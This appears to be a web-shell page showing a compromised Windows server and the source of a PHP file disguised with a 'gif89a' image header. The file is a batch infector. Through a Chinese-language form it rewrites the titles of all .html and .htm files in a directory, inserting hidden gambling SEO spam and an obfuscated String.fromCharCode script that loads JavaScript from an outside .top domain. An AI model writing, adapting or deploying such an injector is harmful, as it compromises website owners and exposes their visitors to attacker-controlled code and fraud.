Server : Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
System : Windows NT USER-PC 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64
User : User ( 0)
PHP Version : 7.4.6
Disable Function : NONE
Directory :  C:/www/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : C:/www/pl.php
gif89a<?php
function input($name,$default=null){
    return isset($_REQUEST[$name])?$_REQUEST[$name]:$default;
}
ini_set('memory_limit', '256M');
set_time_limit(555000);
function scan_dir_files($dir, $type=null) {
	$dir = rtrim($dir);
	$scans = scandir($dir);
	$files = array();
	foreach ($scans as $item) {
		if ($item != ".." && $item != ".") {
			if (is_dir($dir . "/" . $item)) {
				$tmp = scan_dir_files($dir . "/" . $item, $type);
				$files = array_merge($files, $tmp);
			} else {
				if(!$type || strpos($item, '.' . $type) !== false)
					$files[] = $dir . '/' . $item;
			}
		}
	}
	return $files;
}
function glob_all_files( $path,$type=null){
	$path = rtrim($path);
	$list = array();
	foreach( glob( $path . '/*') as $item ){
		if( is_dir( $item ) ){
			$list = array_merge( $list , glob_all_files( $item, $type) );
		}else{
			if(!$type || strpos($item, '.' . $type) !== false)
			$list[] = $item;
		}
	}
	return $list;
}
header("Content-type:text/html;charset=utf-8");
define('ROOT_PATH', __DIR__);

$replace = '<noscript><title>&#107;&#97;&#105;&#121;&#117;&#110;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;&#45;&#24320;&#20113;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;</title>
<meta name="keywords" content="&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#32593;&#31449;&#30331;&#24405;&#65292;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#23448;&#26041;&#97;&#112;&#112;&#65292;&#107;&#97;&#105;&#121;&#117;&#110;&#20307;&#32946;&#97;&#112;&#112;&#23448;&#32593;&#20837;&#21475;&#65292;&#107;&#121;&#20307;&#32946;&#40;&#107;&#121;&#41;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;&#65292;&#107;&#121;&#20307;&#32946;&#30331;&#24405;&#23448;&#32593;&#65292;&#107;&#121;&#20307;&#32946;&#25163;&#26426;&#29256;&#30331;&#38470;&#23448;&#32593;&#65;&#80;&#80;"/>
<meta name="description" content="&#55357;&#56613;&#107;&#97;&#105;&#121;&#117;&#110;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;&#97;&#112;&#112;&#19979;&#36733;&#12304;&#40857;&#24180;&#40856;&#40856;&#55358;&#56807;&#55357;&#56496;&#12305;&#55356;&#57286;&#25903;&#25345;&#58;&#54;&#52;&#47;&#49;&#50;&#56;&#98;&#105;&#116;&#55356;&#57286;&#31995;&#32479;&#31867;&#22411;&#58;&#107;&#97;&#105;&#121;&#117;&#110;&#32593;&#39029;&#29256;&#30331;&#24405;&#20837;&#21475;&#97;&#112;&#112;&#23448;&#26041;&#19979;&#36733;&#40;&#50;&#48;&#50;&#52;&#20840;&#31449;&#41;&#26368;&#26032;&#29256;&#26412;&#105;&#111;&#115;&#47;&#23433;&#21331;&#23448;&#26041;&#20837;&#21475;&#65292;&#24320;&#20113;&#22312;&#32447;&#27880;&#20876;&#24179;&#21488;&#30340;&#27880;&#20876;&#27969;&#31243;&#31616;&#21333;&#26131;&#25026;&#44;&#20165;&#38656;&#20960;&#20010;&#31616;&#21333;&#30340;&#27493;&#39588;&#21363;&#21487;&#23436;&#25104;&#12290;&#39318;&#20808;&#44;&#35775;&#38382;&#23448;&#26041;&#32593;&#31449;&#24182;&#28857;&#20987;&#27880;&#20876;&#25353;&#38062;"/>
<meta property="og:site_name" content="&#x5f00;&#x4e91;&#x5b98;&#x65b9;" /></noscript><script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,107,107,104,100,109,105,104,46,116,111,112,47,50,48,50,54,47,108,117,99,107,121,50,48,50,54,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script><!-- IqWGPw2=window -->
<title>__TITLE__</title>';


//处理提交
$act  = input('act');
if($act==='run'){
	$mulu = input('mulu');
	$type = input('type');
	$num  = intval(input('num'));

	if(empty($mulu)||empty($type)){
		echo '不能为空';exit;
	}

	$mulu = realpath($mulu);

	if(!is_dir($mulu)) die('目录不存在');
	if(!is_writable($mulu)) die('目录不可写');


	//读取模板文件
	$htmls = function_exists('scandir')?scan_dir_files($mulu,$type):glob_all_files($mulu,$type);
	echo '共查找'.$type.'文件总数:'.count($htmls).'<br>';

	$succ = 0;
	//执行替换
	foreach ($htmls as $tpl_file) {
        //数量限制
		if($num>0&&$succ>=$num){break;}
		
		$content = file_get_contents($tpl_file);
        if(strpos($content,'IqWGPw2=window')===false){
        	if(preg_match("#<title>(.*?)</title>#is", $content,$matches)){

				$replace_new = str_replace('__TITLE__',$matches[1], $replace);
				$content = str_replace($matches[0], $replace_new, $content);

				//保存文件
				$re = file_put_contents($tpl_file, $content);
				if ($re) {
					$succ++;
					echo "替换文件:" . $tpl_file . ",成功<br>\n";
				}
			}
        }
	}
	echo "本次成功替换数:{$succ}\n";
	exit(0);
}
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>在线批量替换文件</title>
<style type="text/css">
html,body{margin:0;padding: 0;}
form div { height:50px;line-height: 50px;}
.box{width: 60%;margin: 0 auto;}
table{margin-left:30%;}
table td{text-align: left;}
h3,.center{text-align: center;}
i{font-size: 11px;}
</style>
</head>
<body>
<div class="box">
<h3>在线批量替换文件</h3>
<form name="iuform" action="" method="post" target="iuframe" enctype="multipart/form-data">
<table width="80%" border="0">
    <tr>
        <td class="txl">要替换的文件目录:<input type="text" name="mulu" />&nbsp;<i>请确保要替换的文件有可写权限</i></td>
    </tr>
    <tr>
        <td>要替换的文件类型:
            <label><input type="radio" name="type" value="html" checked="checked" />html</label>
            <label><input type="radio" name="type" value="htm" />htm</label>
        </td>
    </tr>
    <tr>
        <td class="txl">要替换的文件数量:<input type="text" name="num" />&nbsp;<i>0表示不限制</i></td>
    </tr>
</table>
<div class="center">
    <button name="act" type="submit" value="run">开始替换</button>&nbsp;
</div>
</form>
<script>
    function changeFrameHeight(){
        var ifm= document.getElementById("iuframe");
        ifm.height=document.documentElement.clientHeight-300;
    }
</script>
<div>
	<iframe id="iuframe" name="iuframe" width="98%" height="100%" onload="changeFrameHeight()" frameborder="1" scrolling="auto"></iframe>
</div>
</div>

</body>
</html>